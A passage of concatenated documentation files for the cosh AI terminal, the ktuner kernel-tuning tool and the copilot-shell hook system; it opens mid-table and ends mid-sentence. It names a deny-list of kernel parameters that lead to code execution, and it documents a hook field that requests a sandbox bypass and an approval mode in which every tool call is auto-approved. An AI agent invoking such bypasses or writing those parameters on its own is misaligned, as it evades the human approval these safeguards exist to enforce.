`cosh --resume [id]` | Open the session picker or resume the given session. | | `cosh -c ''` | Run one command through the shell and exit. | | `cosh -- [args...]` | Run a program directly and exit. | If no shell is selected, `cosh` uses its configured or detected bash/zsh and falls back to bash. ## Input and editing - Shell syntax is sent to the foreground bash or zsh. - A natural-language request starts an Agent request. Analysis mode controls proactive failure assistance, not explicit requests. - A leading `/` runs a cosh control command; a slash inside an ordinary sentence does not. - `Shift+Enter` inserts a newline when supported. Multiline paste remains one submission. - Up-arrow history includes shell input and slash commands. `Ctrl+C` cancels the active command or Agent request. ## Public slash commands | Command | Purpose | |---|---| | `/help` | Show the installed command set. | | `/draft` | Compose a multiline Agent request. | | `/health` | Run local health checks. | | `/status` (`/about`) | Show runtime, provider, and session status. | | `/stats [model\|tools]` | Show model identity or tool activity. | | `/auth` | Choose or update provider authentication. | | `/config language [auto\|en-US\|zh-CN]` | Inspect or set the UI language. | | `/mode approval [recommend\|auto\|trust]` | Inspect or change tool approval. | | `/mode analysis [smart\|auto\|manual]` | Inspect or change proactive analysis. | | `/session ...` | Create, list, resume, clear, or compact sessions. | | `/recommendations [on\|off\|status\|privacy\|clear]` | Manage local prompt recommendations. | | `/hooks ` | Inspect Hook findings and trust state. | | `/extensions ` | Manage extension packages and settings. | | `/skills [list\|detail\|enable\|disable]` | Manage Skills. | | `/mcp [list\|connect\|inspect\|refresh\|disconnect\|login\|logout]` | Manage MCP servers. | Commands such as `/details`, `/audit`, and `/send-to-shell` appear only when the current card or run provides their required context. `/mcp login` requires the shell-based OAuth flow described by the MCP guide. For approval behavior, see [Tool approval](approval.md). For proactive failure help, see [AI analysis](ai-analysis.md). ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/overview.md ===== # Interactive Terminal [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/overview.md) `cosh` is a bash or zsh terminal with an Agent available for natural-language work. Use ordinary shell syntax for commands you know, and describe larger tasks when you want the Agent to investigate or act. ## A typical workflow 1. Change to the target directory and run `cosh`. 2. Run familiar commands normally. 3. Describe an investigation or task in natural language, including constraints such as “inspect only” or “ask before changing files.” 4. Review approval cards before allowing side effects. 5. Use `/session status` before leaving a long-running investigation. Useful starts: ```bash cosh cosh --shell zsh cosh --resume ``` ## How input is routed | Input | Result | |---|---| | `git status` | Runs in the foreground shell. | | `why did the last command fail?` | Starts an Agent request with recent terminal evidence. | | `/session list` | Runs a cosh control command. | | Agent tool request | Runs automatically or shows an approval card according to the approval mode. | Approved shell commands stay in the foreground shell, so prompts, output, job control, and `Ctrl+C` remain usable. See [Tool approval](approval.md) for the safety rules. ## Sessions and proactive help - Sessions are persisted by cosh-core and scoped to the workspace where cosh started. Recovery restores model-visible conversation context, not terminal processes or old terminal output. See [Session recovery](session-recovery.md). - `smart` is the default analysis mode. Use [AI analysis](ai-analysis.md) to choose how much proactive failure help appears. - `/help` is the source of truth for commands in the installed version; use [Interactive commands](interactive-mode.md) for a concise reference. ## Next steps - [Tool approval](approval.md) - [AI analysis](ai-analysis.md) - [Session recovery](session-recovery.md) - [Session compaction](session-compaction.md) - [Skills](../core/skills.md) - [MCP](../mcp.md) - [Extensions](../core/extensions.md) ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/session-compaction.md ===== # Session Compaction [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/session-compaction.md) Compaction shortens the conversation history sent to the model without deleting the persisted transcript. Use it when a long Agent session is running out of context. ## Compact manually Run these commands from the shell prompt: ```text /session compact /session compact status /session compact cancel ``` `/session compact` works on the active or selected resumable cosh-core session. The shell remains usable while Agent requests pause. `status` reports the background job; `cancel` leaves the saved conversation and current model context unchanged. Compaction only uses completed Agent runs. The active run is never summarized. If there is no complete prefix to compact, the provider fails, or the session changes while the job runs, cosh reports an actionable error and keeps the previous model context. ## Automatic compaction Automatic compaction is enabled by default. It normally starts after model-visible history reaches 70% of the usable context window, targets 30%, and keeps the two most recent complete Agent runs verbatim. At 90%, emergency protection runs before the next provider request when more space is needed. These limits affect only what the model receives; the saved conversation remains complete. Lowering the model output limit can reserve more room for history, but it also shortens the longest reply. ## Configuration ```toml [session.compaction] enabled = true auto = true trigger_ratio = 0.70 emergency_ratio = 0.90 target_ratio = 0.30 preserve_recent_runs = 2 ``` Optional overrides include `auto_compact_token_limit`, `model_context_window`, and `model_max_output_tokens`. See [Configuration](../configuration.md) before changing them. ===== docs/user-guide/en/user-entrypoint/cosh-ng/shell/session-recovery.md ===== # Session Recovery [中文版](../../../../zh/user-entrypoint/cosh-ng/shell/session-recovery.md) With the cosh-core adapter, `cosh` can resume an Agent conversation saved for the current workspace. Recovery restores the messages available to the model; it does not restore terminal processes, old terminal output, approval cards, or other transient UI state. ## Resume a session Open the picker or select a known session UUID: ```bash cosh --resume cosh --resume 2d711642-b726-4b04-8d2a-8a0470f4ed24 ``` You can also manage sessions from the prompt: | Command | Use | |---|---| | `/session` | Open the current workspace's session picker. | | `/session list` | List a bounded page with complete session UUIDs. | | `/session list --all` | List sessions from every workspace under the same storage root. | | `/session resume ` | Select one session by UUID. | | `/session new` (`/new`) | Start a new Agent conversation without deleting the old record. | | `/session status` | Show the selected and active session state. | | `/session clear ...` | Confirm and clear the listed sessions. | | `/session clear --all` | Confirm and clear all clearable sessions. | Selecting a session does not call the model. Recovery starts with the next Agent request. If recovery fails, the shell remains usable; refresh the list, retry, or start a new session. ## Workspace and safety boundaries - A session belongs to the canonical workspace where it was created. `/session list --all` can show sessions from other workspaces, but `resume` refuses a scope mismatch and never changes your working directory. - Only healthy, current-workspace entries can be resumed. Damaged or incompatible entries can be identified and cleared after confirmation. - Clear operations always confirm the exact IDs or count. The selected session and active provider session are protected and are skipped by clear-all requests. - The default persistence root is `~/.copilot-shell/cosh-core/sessions/`. Set `session.persist_dir` to change it or `session.auto_persist = false` to keep sessions only for the current `cosh` process. In the picker, use `Up`/`Down` or `j`/`k` to move, `Enter` to resume, `Space` to mark entries, `d` then `y` to confirm clearing, and `Esc` or `Ctrl+C` to cancel. ===== docs/user-guide/en/user-entrypoint/cosh-ng/supported-distros.md ===== # Supported Platforms and Linux Distributions [中文版](../../../zh/user-entrypoint/cosh-ng/supported-distros.md) cosh-ng can run the interactive terminal on Linux and macOS. Package and service commands use the host's native management tools. | Platform | Interactive shell | Package commands | Service commands | |---|---|---|---| | Linux | Bash or zsh | dnf, apt, or zypper | systemd | | macOS | Bash or zsh | Homebrew | Not available | ## Linux distributions These `/etc/os-release` IDs have built-in routing: | ID | Package manager | |---|---| | `alinux`, `centos`, `fedora` | dnf | | `ubuntu`, `debian` | apt | | `opensuse-leap`, `opensuse-tumbleweed`, `sles` | zypper | An unlisted distribution can use a package family when its `ID_LIKE` contains one of these values: | `ID_LIKE` family | Package manager | |---|---| | `alinux`, `centos`, `fedora`, `rhel` | dnf | | `debian`, `ubuntu` | apt | | `opensuse`, `suse` | zypper | Family routing means the package backend is compatible; it is not certification of every derivative or release. An unknown package family returns a structured `UnsupportedDistro` error. ## Before changing the host Run `anolisa env` before installation. On the target host, use read-only `cosh-cli` commands and the action's `--dry-run` option to verify routing before package or service mutations. Service commands require Linux with systemd; macOS users can use package commands through Homebrew but not `cosh-cli svc`. ===== docs/user-guide/en/user-entrypoint/ktuner.md ===== # ktuner ktuner is a deterministic kernel-tuning engine for AI agents. It evaluates 207 rules against the running system and outputs structured JSON recommendations, so an agent (or a human) can diagnose, apply, and roll back kernel parameter changes safely. --- ## Overview ktuner is a rule engine, not an LLM: every recommendation comes from a hard-coded rule reading `/proc/sys` and `/sys`, so results are reproducible and explainable. It covers network, memory, I/O, CPU, and security parameters, scores the current system, and predicts the score after tuning. It is designed to be driven by cosh and other ANOLISA-compatible agents as a tool, but the CLI is equally usable by hand. --- ## Installation ktuner ships with the ANOLISA source tree under `src/ktuner/`. Build it from source: ```bash cd src/ktuner cargo build --release # binary at target/release/ktuner ``` For read-only use you can run the binary directly (`./target/release/ktuner check`). To make `ktuner` available system-wide — required for `ktuner tune` (needs root) and for the cosh first-run integration (which only runs a root-owned binary from a trusted path) — install it to a system path: ```bash sudo install -o root -g root -m 755 target/release/ktuner /usr/local/bin/ktuner ``` The examples below assume `ktuner` is on your `PATH`. > Packaged distribution (`anolisa install ktuner` / RPM) is still being planned with the maintainers; until then, build from source. --- ## Quick Start ```bash # Diagnose — read-only, no root required ktuner check # score + all recommendations ktuner check --category net # limit to one category ktuner check --conservative # high-confidence recommendations only # Preview changes without applying (dry-run) sudo ktuner tune --dry-run # Apply recommendations (requires root) sudo ktuner tune # apply all sudo ktuner tune --conservative # Fix a single parameter sudo ktuner fix vm.swappiness # Explain why a parameter should change ktuner why net.core.somaxconn # Undo all changes ktuner made sudo ktuner rollback ``` All output is JSON on stdout; errors are JSON on stderr. Exit codes: `0` success, `1` check found recommendations (not an error), `2` error. --- ## Permission Boundary | Command | Root | Effect | |---------|------|--------| | `check`, `why` | No | Read-only diagnosis; never writes the kernel | | `tune --dry-run` | No | Previews changes, writes nothing | | `tune`, `fix`, `rollback` | Yes (`sudo`) | Writes `/proc/sys`; refuses to run if not root | Safety guarantees: - **Code-execution deny-list**: parameters that can lead to code execution (`kernel.core_pattern`, `kernel.modprobe`, `kernel.hotplug`, and similar) are unconditionally blocked from every write path. Matching is on the resolved filesystem path, so spelling variants cannot bypass it. - **Rollback safety**: applied changes are recorded; a partial rollback failure never discards the remaining original values. - **No autonomous root**: ktuner errors out unless run as root. When invoked through cosh, the sandbox guard and permission prompt ensure a human approves before any `sudo ktuner tune` runs. --- ## Usage with cosh cosh discovers ktuner automatically via its skill definition (`src/os-skills/system-admin/ktuner/`), so no wiring is needed — ask in natural language: ``` > "Check whether this machine's kernel parameters can be improved" > "Optimize the kernel for a database workload" ``` On first Linux auth, if a trusted ktuner is installed at a system path, cosh shows a one-line non-blocking hint. Run `/ktuner enable` to view a read-only `ktuner check` report, or `/ktuner disable` to stop asking. You can also change this via `general.ktunerCheck` in `/settings`. cosh never applies changes on its own. --- ## See Also - [Copilot Shell](copilot-shell/QUICKSTART.md) - [OS Skills](os-skills.md) - Full reference: `src/ktuner/README.md` ===== docs/user-guide/en/user-entrypoint/os-skills.md ===== # OS Skills OS Skills is a system management and DevOps skill library for AI Agents. It provides pre-built skills that enable Agents to perform common system administration and automation tasks. --- ## Overview OS Skills covers three main areas: - **System Administration** — user management, service control, package operations, filesystem tasks - **Cloud Integration** — cloud resource queries, instance management, network configuration - **DevOps Automation** — CI/CD pipeline management, container operations, deployment workflows --- ## Installation ```bash anolisa install os-skills ``` --- ## Quick Start Once installed, OS Skills are available to any ANOLISA-compatible Agent runtime. The Agent can invoke skills via natural language: ``` > "Check disk usage on all mounted filesystems" > "Restart the nginx service" > "Show running containers and their resource usage" ``` --- ## Skill Categories ### System Administration | Skill | Description | |-------|-------------| | `disk-usage` | Check filesystem disk usage | | `service-ctl` | Start/stop/restart system services | | `process-mgmt` | List and manage processes | | `user-mgmt` | User and group management | | `package-ops` | Package install/remove/query | ### DevOps Automation | Skill | Description | |-------|-------------| | `container-ops` | Docker/Podman container management | | `log-analysis` | Search and analyze system logs | | `network-diag` | Network diagnostics (ping, traceroute, port check) | | `cron-mgmt` | Cron job management | --- ## Usage with Agent Runtimes OS Skills integrates with cosh and other ANOLISA-compatible runtimes automatically. Skills are discovered at startup and made available to the Agent's tool inventory. ```bash # Verify skills are loaded anolisa status os-skills ``` --- ## Configuration Configuration file: `~/.config/os-skills/config.toml` ```toml [skills] # Enabled skill categories enabled = ["system", "devops"] [safety] # Require confirmation for destructive operations confirm_destructive = true ``` --- ## See Also - [Copilot Shell](copilot-shell/QUICKSTART.md) - [anolisa CLI](anolisa-cli.md) ===== docs/developer-guide/en/README.md ===== # Developer Guide [中文版](../zh/README.md) Use this guide when you need to understand, extend, test, or contribute to ANOLISA. ## Copilot Shell - [Architecture](./copilot-shell/architecture.md) ## Cosh-ng - [Getting started](./cosh-ng/getting-started.md) - [Architecture](./cosh-ng/architecture.md) - [Adding commands](./cosh-ng/adding-commands.md) - [Adding distributions](./cosh-ng/adding-distros.md) - [IPC protocol](./cosh-ng/ipc-protocol.md) - [Security heuristics](./cosh-ng/security-heuristics.md) - [Testing](./cosh-ng/testing.md) Start with **Getting started**. It maps common changes to code owners and the smallest relevant test target; the remaining pages are focused references. For repository-wide build and contribution requirements, also read [Build from source](../../BUILDING.md) and [CONTRIBUTING.md](../../../CONTRIBUTING.md). ===== docs/developer-guide/en/copilot-shell/architecture.md ===== # Architecture Overview Copilot Shell is a terminal-based AI programming assistant written in TypeScript, organized as an npm monorepo. ## Repository Structure ``` src/copilot-shell/ ├── packages/ │ ├── cli/ # CLI entry point and TUI layer │ ├── core/ # Core engine (models, tools, session management) │ └── test-utils/ # Test helper utilities ├── scripts/ # Build and release scripts ├── integration-tests/ # End-to-end integration tests ├── hooks/ # Built-in hook scripts └── eslint-rules/ # Custom ESLint rules ``` ## Package Responsibilities ### `@copilot-shell/cli` The CLI entry layer, responsible for: - Parsing CLI arguments (`yargs`) - Rendering interactive TUI (`ink` + React) - Slash command registration and dispatch - User input/output stream handling - Extension and skill discovery and loading ### `@copilot-shell/core` The core engine, responsible for: - **Model Adaptation**: Unified OpenAI / Alibaba Cloud DashScope and other backends - **Tool System**: Tool definitions, permission management, execution scheduling - **Session Management**: Conversation history, context compression (Compact), checkpoints - **Hook Runtime**: Event triggering, script execution, result aggregation - **MCP Client**: stdio / SSE transport protocols - **Configuration System**: Multi-layer config merging (System > User > Project > Defaults) - **Security**: Sandbox integration, tool approval policies - **Observability**: OpenTelemetry metrics / traces / logs ### `@copilot-shell/test-utils` Shared testing utilities providing mock models, mock MCP servers, and other test infrastructure. ## Key Design Decisions ### Layered Configuration Configuration uses a four-layer priority system: ``` System Settings (/etc/copilot-shell/settings.json) ← Admin-enforced (highest) ↓ Project-level (.copilot-shell/settings.json) ↓ User-level (~/.copilot-shell/settings.json) ↓ System Defaults (/etc/copilot-shell/system-defaults.json) ← Lowest ``` Array fields use a **replace** strategy; object fields use **shallow merge**. ### Agent Loop Core loop flow: ``` User Input → UserPromptSubmit hooks → BeforeModel hooks → LLM Request → AfterModel hooks → BeforeToolSelection hooks → Tool Selection → PreToolUse hooks → Tool Execution → PostToolUse hooks → Stop hooks → Output ``` Each stage has corresponding hook events, allowing external scripts to intercept the control flow. ### Model Adaptation Layer Adapts multiple model backends through a unified `ModelProvider` interface: - Request/response format standardization - Unified streaming output handling - Token counting and usage statistics - Automatic authentication token refresh ### Tool Permission Model Four-level approval modes: | Mode | Behavior | |------|----------| | `plan` | All tools require confirmation | | `default` | Only file modifications and shell require confirmation | | `auto-edit` | Only shell requires confirmation | | `yolo` | All auto-approved | Allowlist (`allowedTools`) and exclude list (`excludeTools`) provide fine-grained control. ## Tech Stack | Layer | Technology | |-------|-----------| | Runtime | Node.js ≥ 20 | | Language | TypeScript (ESM) | | Build | esbuild | | TUI | ink (React) | | Testing | vitest | | Formatting | Prettier | | Linting | ESLint | | Package Management | npm workspaces | ## Directory Conventions | Path | Purpose | |------|---------| | `~/.copilot-shell/` | User data directory (config, sessions, skills) | | `.copilot-shell/` | Project-level configuration directory | | `/etc/copilot-shell/` | System-level configuration | | `~/.copilot-shell/extensions/` | Installed extensions | | `~/.copilot-shell/skills/` | User-level skills | ===== docs/developer-guide/en/copilot-shell/hooks/index.md ===== # Copilot Shell Hooks Hooks are scripts or programs that copilot-shell executes at specific points in the agent loop, allowing you to intercept and customize behavior without modifying the CLI's source code. ## What are Hooks? Hooks run synchronously as part of the agent loop — when a hook event fires, copilot-shell waits for all matching hooks to complete before continuing. With hooks, you can: - **Inject context**: Inject relevant information (like git history) before the model processes a request - **Validate actions**: Review tool arguments and block potentially dangerous operations - **Enforce policies**: Implement security scanners and compliance checks - **Log interactions**: Track tool usage and model responses for auditing - **Optimize behavior**: Dynamically filter available tools or adjust model parameters - **Sandbox commands**: Automatically wrap dangerous shell commands in linux-sandbox for isolated execution ### Getting Started - **[Writing Hooks Guide](writing-hooks.md)**: A tutorial on creating hooks from scratch - **[Hooks Reference](reference.md)**: Technical specification of I/O schemas and exit codes ## Core Concepts ### Hook Events Hooks are triggered by specific events in copilot-shell's lifecycle. | Event | When It Fires | Impact | Common Use Cases | |-------|---------------|--------|------------------| | `SessionStart` | Session begins (startup/resume/clear) | Inject Context | Initialize resources, load context | | `SessionEnd` | Session ends (exit/clear) | Advisory | Clean up resources, save state | | `UserPromptSubmit` | After user submits prompt, before planning | Block/Context | Add context, validate input | | `Stop` | When agent is about to stop | Retry/Halt | Review output, force retry | | `BeforeModel` | Before sending LLM request | Block/Mock | Modify request, swap model | | `AfterModel` | After receiving LLM response | Block/Observe | Filter response, log | | `BeforeToolSelection` | Before LLM selects tools | Filter Tools | Filter available tool set | | `PreToolUse` | Before tool execution | Block/Rewrite | Validate arguments, block dangerous ops | | `PostToolUse` | After tool execution | Block/Context | Process results, run tests | | `PostToolUseFailure` | After tool execution failure | Recovery | Extract original command, sandbox bypass | | `PreCompact` | Before context compression | Advisory | Save state | | `Notification` | When system notification occurs | Advisory | Forward desktop alerts | | `PermissionRequest` | When permission dialog shows | Allow/Deny | Auto-approve or deny | ### Global Mechanics #### Strict JSON Requirements ("Golden Rule") Hooks communicate via `stdin` (Input) and `stdout` (Output). 1. **Silence is mandatory**: Scripts **must not** output anything to `stdout` other than the final JSON object 2. **Pollution = failure**: If `stdout` contains non-JSON text, parsing will fail 3. **Debug via stderr**: All logging and debug output goes to `stderr` (e.g., `echo "debug" >&2`) #### Exit Codes | Exit Code | Label | Behavioral Impact | |-----------|-------|-------------------| | **0** | Success | `stdout` is parsed as JSON | | **2** | System Block | Operation is aborted; `stderr` used as rejection reason | | **Other** | Warning | Non-fatal failure; warning shown, continues | #### Matchers Use the `matcher` field to filter which specific tools or events trigger your hook: - **Tool events** (`PreToolUse`, `PostToolUse`): Matchers are **Regular Expressions** - **Lifecycle events**: Matchers are **Exact Strings** - **Wildcards**: `"*"` or `""` (empty string) matches all #### When Multiple Hooks Match When multiple hooks match the same event: 1. **Plan and deduplicate**: Select hooks by event + matcher; deduplicate based on `name:command` 2. **Execution mode**: Default is **parallel**; if any hook sets `sequential: true`, all run **sequentially** 3. **Sequential chaining**: `PreToolUse` can modify `tool_input`; subsequent hooks see the modified input 4. **Final output merge**: Restrictive outcomes win (`deny`/`block`); reason texts are concatenated ## Configuration Hooks are configured in `settings.json` with multi-layer merging (highest to lowest priority): 1. **Project settings**: `.copilot-shell/settings.json` 2. **User settings**: `~/.copilot-shell/settings.json` 3. **System settings**: `/etc/copilot-shell/settings.json` 4. **Extensions**: Hooks defined by installed extensions ### Configuration Example ```json { "hooks": { "enabled": true, "PreToolUse": [ { "matcher": "run_shell_command", "sequential": true, "hooks": [ { "type": "command", "command": "python3 hooks/sandbox-guard.py", "name": "sandbox-guard", "timeout": 10000, "description": "Wraps dangerous commands in sandbox for execution" } ] } ] } } ``` ### Hook Configuration Fields | Field | Type | Required | Description | |-------|------|----------|-------------| | `type` | string | Yes | Execution engine; currently only `"command"` supported | | `command` | string | Yes | Shell command to execute | | `name` | string | No | Identifies the hook in logs and CLI commands | | `timeout` | number | No | Execution timeout in milliseconds (default: 60000) | | `description` | string | No | Brief explanation of the hook's purpose | ### Environment Variables The following environment variables are available during hook execution: - `COPILOT_SHELL_PROJECT_DIR`: Absolute path to the project root ## Security and Risks > **WARNING**: Hooks execute arbitrary code with your user privileges. **Project-level hooks** are particularly risky when opening untrusted projects. copilot-shell **fingerprints** project hooks. If a hook's name or command changes (e.g., via `git pull`), it is treated as a **new, untrusted hook** and you will be warned before execution. ## Managing Hooks Use CLI commands to manage hooks: - **View**: `/hooks panel` - **Enable/Disable all**: `/hooks enable-all` or `/hooks disable-all` - **Toggle individual**: `/hooks enable ` or `/hooks disable ` ===== docs/developer-guide/en/copilot-shell/hooks/reference.md ===== # Hooks Reference This document provides the technical specification for copilot-shell hooks, including JSON schemas and API details for all 13 wired events. ## Global Hook Mechanics - **Communication**: `stdin` receives input (JSON), `stdout` outputs results (JSON), `stderr` outputs logs - **Exit codes**: - `0`: Success; `stdout` is parsed as JSON - `2`: System block; operation is aborted; `stderr` used as rejection reason - `Other`: Warning; non-fatal failure; CLI continues - **Golden Rule**: Scripts **must not** output anything to `stdout` other than JSON --- ## Base Input Schema All hooks receive the following common fields via `stdin`: ```json { "session_id": "string", "run_id": "string | undefined", "transcript_path": "string", "cwd": "string", "hook_event_name": "string", "timestamp": "string (ISO 8601)" } ``` | Field | Type | Description | |-------|------|-------------| | `session_id` | string | Unique session identifier | | `run_id` | string \| undefined | Current agent run identifier (format: `{sessionId}########{counter}`) | | `transcript_path` | string | Path to the session JSONL transcript file | | `cwd` | string | Current working directory | | `hook_event_name` | string | Name of the event that triggered this hook | | `timestamp` | string | Event trigger time (ISO 8601) | --- ## Common Output Fields Most hooks support the following fields in the `stdout` JSON: | Field | Type | Description | |-------|------|-------------| | `systemMessage` | string | Notification message shown to the user | | `suppressOutput` | boolean | When `true`, hides internal metadata | | `continue` | boolean | When `false`, immediately stops the agent loop | | `stopReason` | string | Reason shown to user when stopping | | `decision` | string | `"allow"` / `"deny"` / `"ask"` / `"approve"` | | `reason` | string | Feedback message when denying/blocking | | `hookSpecificOutput` | object | Event-specific output fields | --- ## Tool Hooks ### `PreToolUse` Triggered before tool execution. Used for argument validation, security checks, and parameter rewriting. **Input fields**: | Field | Type | Description | |-------|------|-------------| | `tool_use_id` | string | Unique tool call identifier | | `tool_name` | string | Name of the tool being called | | `tool_input` | object | Original parameters generated by the model | | `mcp_context` | object | Optional MCP tool metadata | | `original_request_name` | string | Original name in tail calls | **Output fields**: - `decision`: Set to `"deny"` to block tool execution - `systemMessage`: Displayed as a standalone notification with hook name label - `reason`: Required when denying; sent to agent as tool error - `hookSpecificOutput.tool_input`: **Merge-overwrites** model parameters - `continue`: Set to `false` to terminate the entire agent loop ### `PostToolUse` Triggered after tool execution. Used for result auditing, context injection, or hiding sensitive output. **Input fields**: | Field | Type | Description | |-------|------|-------------| | `tool_use_id` | string | Unique tool call identifier | | `tool_name` | string | Tool name | | `tool_input` | object | Original parameters | | `tool_response` | object | Execution result | | `mcp_context` | object | MCP metadata | **Output fields**: - `decision`: Set to `"deny"` to hide the real output - `reason`: When denied, **replaces** the tool result sent to the model - `hookSpecificOutput.additionalContext`: Appended to tool result - `hookSpecificOutput.tailToolCallRequest`: `{ name, args }` to immediately execute another tool - `continue`: Set to `false` to terminate the agent loop ### `PostToolUseFailure` Triggered after tool execution failure. Used for error recovery and sandbox bypass. **Input fields**: | Field | Type | Description | |-------|------|-------------| | `tool_use_id` | string | Unique tool call identifier | | `tool_name` | string | Tool name | | `tool_input` | object | Original parameters | | `error` | string | Error description | | `error_type` | string | Error type (e.g., `"timeout"`, `"permission"`) | | `is_interrupt` | boolean | Whether caused by user interrupt | **Output fields**: - `hookSpecificOutput.additionalContext`: Context to help the agent recover - `hookSpecificOutput.sandbox_bypass_request`: `{ original_command, reason }` to request sandbox bypass --- ## Agent Hooks ### `UserPromptSubmit` Triggered after user submits a prompt, before agent begins planning. **Input fields**: - `prompt`: The raw text submitted by the user **Output fields**: - `hookSpecificOutput.additionalContext`: Text **appended** to the current turn's prompt - `decision`: Set to `"deny"` to block the turn and discard the message - `continue`: Set to `false` to block the turn but keep the message - `reason`: Required when denying or stopping ### `Stop` Triggered when the agent is about to stop. Used for response validation and auto-retry. **Input fields**: - `stop_hook_active`: Whether already in a retry sequence - `last_assistant_message`: The final text generated by the agent **Output fields**: - `decision`: Set to `"deny"` to reject the response and force retry - `reason`: When denied, sent as a new prompt to the agent - `continue`: Set to `false` to stop the session - `stopReason`: Shown to user when stopping --- ## Model Hooks ### `BeforeModel` Triggered before sending an LLM request. Uses a stable SDK-agnostic format via the Hook Translator. **Input fields**: - `llm_request`: Contains `model`, `messages`, `config`, and optional `toolConfig` **Output fields**: - `hookSpecificOutput.llm_request`: **Overwrites** partial request fields (e.g., swap model, adjust temperature) - `hookSpecificOutput.llm_response`: **Synthetic response**; when provided, skips the LLM call - `decision`: Set to `"deny"` to block this model request ### `BeforeToolSelection` Triggered before the LLM decides which tools to call. Used to filter available tool set. **Input fields**: - `llm_request`: Same format as `BeforeModel` **Output fields**: - `hookSpecificOutput.toolConfig.mode`: `"AUTO"` / `"ANY"` / `"NONE"` - `"NONE"`: Disable all tools (highest priority) - `"ANY"`: Force at least one tool call - `hookSpecificOutput.toolConfig.allowedFunctionNames`: Tool allowlist **Merge strategy**: Multiple hooks' allowlists are **unioned**. ### `AfterModel` Triggered after receiving an LLM response. Used for observation, logging, or stop signals. **Input fields**: - `llm_request`: Original request - `llm_response`: Model response **Output fields**: - `hookSpecificOutput.llm_response`: **Replaces stored history** - `decision`: Set to `"deny"` to discard the response from history - `continue`: Set to `false` to stop after the current turn --- ## Lifecycle & System Hooks ### `SessionStart` Triggered after app startup, session resume, or `/clear` command. **Input fields**: `source` (`"startup"` / `"resume"` / `"clear"` / `"compact"`) **Output fields**: - `hookSpecificOutput.additionalContext`: Injected as first-turn content - `systemMessage`: Displayed at session start - Advisory only: `continue` and `decision` are **ignored** ### `SessionEnd` Triggered when the CLI exits or session is cleared. **Input fields**: `reason` (`"clear"` / `"logout"` / `"prompt_input_exit"` / `"other"`) **Output fields**: `systemMessage` (displayed on close) ### `Notification` Triggered when the CLI issues a system notification (e.g., tool permission reminders). **Input fields**: - `notification_type`: Notification type - `message`: Notification summary - `details`: Notification metadata Advisory only; cannot block notifications. ### `PreCompact` Triggered before the CLI compresses history to save tokens. **Input fields**: `trigger` (`"auto"` / `"manual"`) Advisory only; cannot block or modify the compression process. ### `PermissionRequest` Triggered when a permission dialog is displayed. **Input fields**: - `permission_mode`: Current permission mode - `tool_name`: Tool name - `tool_input`: Tool parameters - `permission_suggestions`: Suggestion list **Output fields**: - `hookSpecificOutput.decision`: `{ behavior: "allow"|"deny", updatedInput?, message?, interrupt? }` --- ## Stable Model API copilot-shell uses a **Hook Translator** layer to decouple hook scripts from the underlying SDK. ### LLMRequest ```json { "model": "string", "messages": [ { "role": "user | model | system", "content": "string" } ], "config": { "temperature": 0.7, "maxOutputTokens": 8192, "topP": 0.95, "topK": 40 }, "toolConfig": { "mode": "AUTO | ANY | NONE", "allowedFunctionNames": ["read_file", "write_file"] } } ``` ### LLMResponse ```json { "text": "string", "candidates": [ { "content": { "role": "model", "parts": ["text"] }, "finishReason": "STOP | MAX_TOKENS | SAFETY | OTHER", "index": 0 } ], "usageMetadata": { "promptTokenCount": 100, "candidatesTokenCount": 200, "totalTokenCount": 300 } } ``` ### Mode Priority (Multi-Hook Aggregation) - `NONE` always takes priority (most restrictive) - `ANY` > `AUTO` - `allowedFunctionNames` are **unioned** (sorted for determinism) # Hooks Reference This document provides the technical specification for copilot-shell hooks, including JSON schemas and API details for 13 currently wired hook events. ## Global hook mechanics - **Communication**: `stdin` for Input (JSON), `stdout` for Output (JSON), and `stderr` for logs and feedback. - **Exit codes**: - `0`: Success. `stdout` is parsed as JSON. **Preferred for all logic.** - `2`: System Block. The action is blocked; `stderr` is used as the rejection reason. - `Other`: Warning. A non-fatal failure occurred; the CLI continues with a warning. - **Silence is Mandatory**: Your script **must not** print any plain text to `stdout` other than the final JSON. --- ## Base input schema All hooks receive these common fields via `stdin`: ```json { "session_id": "string", "run_id": "string | undefined", "transcript_path": "string", "cwd": "string", "hook_event_name": "string", "timestamp": "string (ISO 8601)" } ``` | Field | Type | Description | | :---------------- | :-------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `session_id` | `string` | Unique identifier for the CLI session (1 session = N runs). | | `run_id` | `string \| undefined` | Unique identifier for the current agent run (1 run = 1 user prompt → complete response). Format: `{sessionId}########{counter}`. Undefined for session-level events (`SessionStart`, `SessionEnd`) and for `UserPromptSubmit` (which fires before the run begins). | | `transcript_path` | `string` | Path to the session's JSONL transcript file. | | `cwd` | `string` | Current working directory. | | `hook_event_name` | `string` | The event that triggered this hook. | | `timestamp` | `string` | ISO 8601 timestamp of when the event fired. | --- ## Common output fields Most hooks support these fields in their `stdout` JSON: | Field | Type | Description | | :------------------- | :-------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `systemMessage` | `string` | Shown to the user as a per-hook notification box labeled with the hook name, independent of the tool confirmation dialog. | | `suppressOutput` | `boolean` | If `true`, hides internal hook metadata from logs/telemetry. | | `continue` | `boolean` | If `false`, stops the entire agent loop immediately. | | `stopReason` | `string` | Displayed to the user when `continue` is `false`. | | `decision` | `string` | `"allow"`, `"deny"` (alias `"block"`), `"ask"`, or `"approve"`. | | `reason` | `string` | The feedback/error message used for `"deny"`/`"block"` decisions and stop-like flows. For user-visible allow/approve/ask messaging, prefer `systemMessage`; if omitted, `reason` is used as the fallback text for the notification. | | `hookSpecificOutput` | `object` | Event-specific output fields (see individual event sections). | --- ## Tool hooks ### `PreToolUse` Fires before a tool is invoked. Used for argument validation, security checks, and parameter rewriting. - **Input Fields**: - `tool_use_id`: (`string`) Optional unique identifier for the tool use. It is the same value exposed to `PostToolUse`, so hooks can correlate the before/after events for one tool call. - `tool_name`: (`string`) The name of the tool being called. - `tool_input`: (`object`) The raw arguments generated by the model. - `mcp_context`: (`object`) Optional metadata for MCP-based tools. - `original_request_name`: (`string`) The original name if this is a tail call. - **Relevant Output Fields**: - `decision`: Set to `"deny"` (or `"block"`) to prevent tool execution. - `systemMessage`: Any informational or warning text you want the user to see. It is rendered as a separate, per-hook notification box (labeled with the hook name) above the tool confirmation dialog, regardless of the final decision. When the overall outcome is `block`/`deny`, per-hook boxes whose own `decision` is not blocking are dimmed so they do not visually conflict with the denied outcome. - 